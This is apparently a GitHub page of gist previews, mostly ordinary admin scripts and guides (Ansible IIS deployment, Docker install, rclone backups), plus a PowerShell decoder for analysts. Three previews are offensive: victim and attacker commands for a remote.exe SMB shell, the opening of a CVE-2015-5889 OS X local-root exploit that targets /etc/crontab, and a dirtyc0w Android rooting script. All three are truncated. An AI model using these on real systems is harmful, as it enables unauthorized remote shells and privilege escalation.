Skip to content

Instantly share code, notes, and snippets.

View yashodhank's full-sized avatar
🎯
Manifesting

Yashodhan yashodhank

🎯
Manifesting
View GitHub Profile
@dgmorales
dgmorales / iis.yml
Last active December 28, 2023 18:25
Ansible Windows playbook example - creates an IIS website and deploys files for it
---
- hosts: windows
vars:
ansible_site_path: "c:\\inetpub\\wwwroot\\ansibletest"
staging_path: "c:\\deploy"
ansible_test_staging_path: "{{ staging_path }}\\ansible-test-site-{{ ansible_date_time.year }}{{ ansible_date_time.month }}{{ ansible_date_time.day }}"
tasks:
- name: install-iis
win_feature:
name: "Web-Server"
@mattifestation
mattifestation / NanoServerSetup.ps1
Last active August 16, 2021 18:10
My setup steps to get Nano Server running on bare metal on my Intel NUC
#region Step #1 (optional): Salvaging of drivers
# I had to manually install a disk and network driver the last time I installed Nano Server.
# I saved my previous WIM file and exported the installed drivers using the Dism cmdlets.
# These paths are specific to my system.
# This was my old Nano Server TP5 image.
$NanoTP5ImagePath = 'C:\Users\Matt\Desktop\Temp\NanoTP5Setup\NanoServerBin\NanoServer.wim'
$WimTempMountDir = 'C:\Users\Matt\Desktop\TempMountDir'
$ExportedDriverDir = 'C:\Users\Matt\Desktop\ExportedDrivers'
@mattifestation
mattifestation / gist:8ef36782ceb7f73d74cfb00c2a710301
Created November 19, 2016 17:07
remote.exe - a useful, MS signed SMB shell
# Command to run on the victim
# This will establish a PowerShell listener over the "pwnme" named pipe
remote /S "powershell.exe" pwnme
# Commands to run on an attacker system - if remote.exe is desired on the client (versus developing your own SMB pipe client)
runas /netonly /user:[Domain|Hostname\Username] "cmd"
remote /C [Hostname\IP] "pwnme"
@pascalandy
pascalandy / generate-password.sh
Last active May 21, 2020 22:59
A solid bash script to generate password
#############################################################################
# generate-password.sh
# Source: https://gist.github.com/pascalandy/e08c25c41d05c12f7a7cd89dcac48d33
# License > https://github.com/pascalandy/GNU-GENERAL-PUBLIC-LICENSE/blob/master/README.md
#############################################################################
#
# Here is my crazy ass bash script 🎰 password generator 🎰. Works on Mac and Linux.
# This generates two random passwords at a time:
# The first with some spaces and the other one without spaces.
#
anonymous
anonymous / psx.py
Created November 13, 2016 14:32
PowerShell decoder by @JohnLaTwC
## hacked together by @JohnLaTwC, Nov 2016, v 0.5
## This script attempts to decode common PowerShell encoded scripts. This version handles:
## * base64 data which encode unicode, gzip, or deflate encoded strings
## * it can operate on a file or stdin
## * it can run recursively in the event of multiple layers
## With apologies to @Lee_Holmes for using Python instead of PowerShell
##
import sys
import zlib
import re
# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
import os,time,sys
env = {}
s = os.stat("/etc/sudoers").st_size
env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
@Arinerron
Arinerron / root.sh
Last active May 24, 2025 14:53
"Root" via dirtyc0w privilege escalation exploit (automation script) / Android (32 bit)
#!/bin/bash
# Give the usual warning.
clear;
echo "[INFO] Automated Android root script started.\n\n[WARN] Exploit requires sdk module \"NDK\".\nFor more information, visit the installation guide @ https://goo.gl/E2nmLF\n[INFO] Press Ctrl+C to stop the script if you need to install the NDK module. Waiting 10 seconds...";
sleep 10;
clear;
# Download and extract exploit files.
echo "[INFO] Downloading exploit files from GitHub...";
@Arinerron
Arinerron / permissions.txt
Last active November 20, 2025 19:52
A list of all Android permissions...
android.permission.ACCESS_ALL_DOWNLOADS
android.permission.ACCESS_BLUETOOTH_SHARE
android.permission.ACCESS_CACHE_FILESYSTEM
android.permission.ACCESS_CHECKIN_PROPERTIES
android.permission.ACCESS_CONTENT_PROVIDERS_EXTERNALLY
android.permission.ACCESS_DOWNLOAD_MANAGER
android.permission.ACCESS_DOWNLOAD_MANAGER_ADVANCED
android.permission.ACCESS_DRM_CERTIFICATES
android.permission.ACCESS_EPHEMERAL_APPS
android.permission.ACCESS_FM_RADIO
@frgomes
frgomes / install-docker.sh
Last active June 6, 2021 18:52
Debian - install docker in Debian Jessie
#!/bin/bash
# compiled from https://docs.docker.com/engine/installation/linux/debian/#/debian-jessie-80-64-bit
sudo apt-get update
sudo apt-get dist-upgrade -y
sudo apt-get install apt-transport-https ca-certificates -y
sudo sh -c "echo deb https://apt.dockerproject.org/repo debian-jessie main > /etc/apt/sources.list.d/docker.list"
sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
@dbirks
dbirks / centos-rclone-backblaze.md
Last active December 21, 2017 19:39
centos-rclone-backblaze

Syncing with Backblaze B2 with rclone on CentOS

Here's how to sync your files onto Backblaze once you have a Backblaze account. More on that here. Also if you're uploading more than 10 GB, you'll want to increase your cap size on the web portal.

  • You'll want to do this all as root: sudo su -
  • Install rclone
    • Add the extra EPEL repos: yum install epel-release
    • Install some prerequisites: yum install golang git
    • Add Go's folder to your path: export GOPATH="$HOME/gopath/"
    • Install rclone in the Go folder: go get github.com/ncw/rclone
  • Copy the program to your binary folder: cp $GOPATH/bin/rclone /usr/bin/